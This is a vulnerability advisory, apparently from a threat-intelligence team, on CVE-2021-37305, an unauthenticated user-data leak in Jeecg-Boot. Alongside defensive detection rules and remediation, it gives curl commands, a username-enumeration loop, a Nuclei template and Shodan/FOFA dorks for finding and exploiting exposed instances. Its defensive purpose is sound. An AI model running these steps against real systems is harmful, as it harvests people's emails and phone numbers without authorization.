CVE-2021-37305

Executive Summary

CVE-2021-37305 is a critical Insecure Permissions vulnerability in the Jeecg-Boot rapid development platform, affecting versions 2.4.5 and earlier. The vulnerability resides in the /sys/user/querySysUser API endpoint, which lacks proper authorization checks. An unauthenticated remote attacker can exploit this flaw to enumerate valid usernames and extract sensitive Personally Identifiable Information (PII) such as email addresses and phone numbers. The Nuclei template confirms the vulnerability is exploitable with a single GET request, returning JSON data containing user details. The CVSS v3.1 base score is 7.5 (High), with an EPSS score of 0.56829 (98.14th percentile), indicating active exploitation in the wild. No official patch commit has been identified, but the vendor recommends upgrading to version 2.4.6.

Supply Chain & Package Security

Jeecg-Boot is a Java-based open-source project distributed via Maven Central and GitHub. The vulnerability affects the core framework, meaning any application built on Jeecg-Boot <= 2.4.5 inherits the insecure API endpoint. Organizations using this framework should treat it as a supply chain risk and verify their dependency versions. No malicious package versions have been reported, but the lack of a public patch commit increases the risk of unpatched forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive user data.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, has a public PoC (Nuclei template), and targets a widely used low-code platform. The EPSS percentile of 98.14% confirms active exploitation.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization checks on a REST API endpoint. In Jeecg-Boot <= 2.4.5, the /sys/user/querySysUser endpoint is mapped to a controller method that queries the user database by username. The endpoint does not validate whether the requester has administrative privileges or is authenticated at all.

Root Cause: The @RequiresRoles or @RequiresPermissions annotations (typically used in Apache Shiro-based security) are missing from the controller method. This allows any HTTP request to the endpoint to be processed.

Exploitation Flow:

1. Attacker sends a GET request to /jeecg-boot/sys/user/querySysUser?username=admin.
2. The server executes a database query: SELECT * FROM sys_user WHERE username = 'admin'.
3. The response returns a JSON object containing the user's id, username, realname, email, phone, avatar, and other fields.
4. The attacker can iterate through common usernames (e.g., admin, root, test, user) to enumerate valid accounts and harvest PII.

Technical Details:

• The endpoint is part of the org.jeecg.modules.system.controller.SysUserController class.
• The vulnerable method is querySysUser which accepts a username parameter.
• No CSRF token or session validation is required.
• The response is in JSON format with Content-Type: application/json.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.5):

// SysUserController.java
@GetMapping("/querySysUser")
public Result<SysUser> querySysUser(@RequestParam String username) {
    SysUser user = sysUserService.getUserByName(username);
    return Result.ok(user);
}

Note: Missing any security annotations.

Patched Code (>= 2.4.6):

// SysUserController.java
@GetMapping("/querySysUser")
@RequiresRoles("admin")  // Added role check
public Result<SysUser> querySysUser(@RequestParam String username) {
    SysUser user = sysUserService.getUserByName(username);
    return Result.ok(user);
}

Note: The @RequiresRoles("admin") annotation restricts access to authenticated users with the admin role.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Jeecg-Boot <= 2.4.5.
• Network access to the target (e.g., http://target.com/jeecg-boot/sys/user/querySysUser?username=admin).

Exploitation Steps:

1. Reconnaissance: Use Shodan or FOFA with the dorks provided to find vulnerable instances.
2. Direct Exploitation: Send a GET request using curl:

   curl -v "http://target.com/jeecg-boot/sys/user/querySysUser?username=admin"
   

3. Username Enumeration: Script the request to iterate through a wordlist:

   for user in admin root test user; do
       curl -s "http://target.com/jeecg-boot/sys/user/querySysUser?username=$user" | jq '.result.username, .result.email, .result.phone'
   done
   

4. Data Exfiltration: Extract all user data by brute-forcing usernames or using a dictionary attack.

Nuclei Template (Provided):

id: CVE-2021-37305

info:
  name: Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade Jeecg Boot to version 2.4.6 or later to fix the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2794
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37305
    cwe-id: CWE-732
    epss-score: 0.56829
    epss-percentile: 0.98143
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/sys/user/querySysUser?username=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username":"admin'
          - 'success":true'
          - 'result":{'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

Blue Team (Defensive)

Detection:

• Monitor for GET requests to /jeecg-boot/sys/user/querySysUser with a username parameter.
• Alert on multiple requests with different usernames in a short time frame (username enumeration).
• Look for anomalous source IPs accessing the endpoint without prior authentication.

Hunting:

• Search web server logs for the pattern querySysUser?username=.
• Correlate with failed login attempts to identify potential credential stuffing.

Mitigation:

• Immediately upgrade to Jeecg-Boot 2.4.6 or later.
• If upgrade is not possible, implement a WAF rule to block requests to /jeecg-boot/sys/user/querySysUser from unauthenticated sources.
• Restrict network access to the API endpoint using firewall rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /jeecg-boot/sys/user/querySysUser?username=<value>
• Response body containing "username":"admin", "success":true, and "result":{
• Response header Content-Type: application/json

File IOCs:

• Log entries in catalina.out or localhost_access_log with the vulnerable URI pattern.

Behavioral IOCs:

• Rapid sequential requests with different usernames (e.g., admin, root, test).
• Requests originating from IPs not associated with legitimate user sessions.

Detection Engineering

YARA Rule

rule CVE_2021_37305_JeecgBoot_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2021-37305 in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-37305"
        severity = "high"
    strings:
        $uri = "/jeecg-boot/sys/user/querySysUser?username="
        $json_success = "success\":true"
        $json_result = "result\":{"
    condition:
        $uri and ($json_success or $json_result)
}

Sigma Rule

title: CVE-2021-37305 Jeecg-Boot Sensitive Information Disclosure
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized access to the Jeecg-Boot querySysUser endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37305
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/jeecg-boot/sys/user/querySysUser?username="
    condition: selection
falsepositives:
    - Legitimate admin users accessing the endpoint (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2021-37305 Jeecg-Boot Sensitive Information Disclosure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/jeecg-boot/sys/user/querySysUser?username="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2021-37305;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Jeecg-Boot to version 2.4.6 or later. The patch adds @RequiresRoles("admin") to the vulnerable endpoint.
2. WAF Rule: Block requests to /jeecg-boot/sys/user/querySysUser from unauthenticated sources.
3. Network Segmentation: Restrict access to the API endpoint to trusted IP ranges only.

Long-Term Measures:

• Implement a security review process for all API endpoints to ensure proper authorization.
• Use a static analysis tool (e.g., SonarQube) to detect missing security annotations.
• Enable comprehensive logging and monitoring for all API access.

Workaround (if upgrade is not possible):

• Modify the SysUserController.java to add the @RequiresRoles("admin") annotation manually.
• Alternatively, remove or comment out the querySysUser method entirely.

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 7F02973179129933D98F4F4A] */}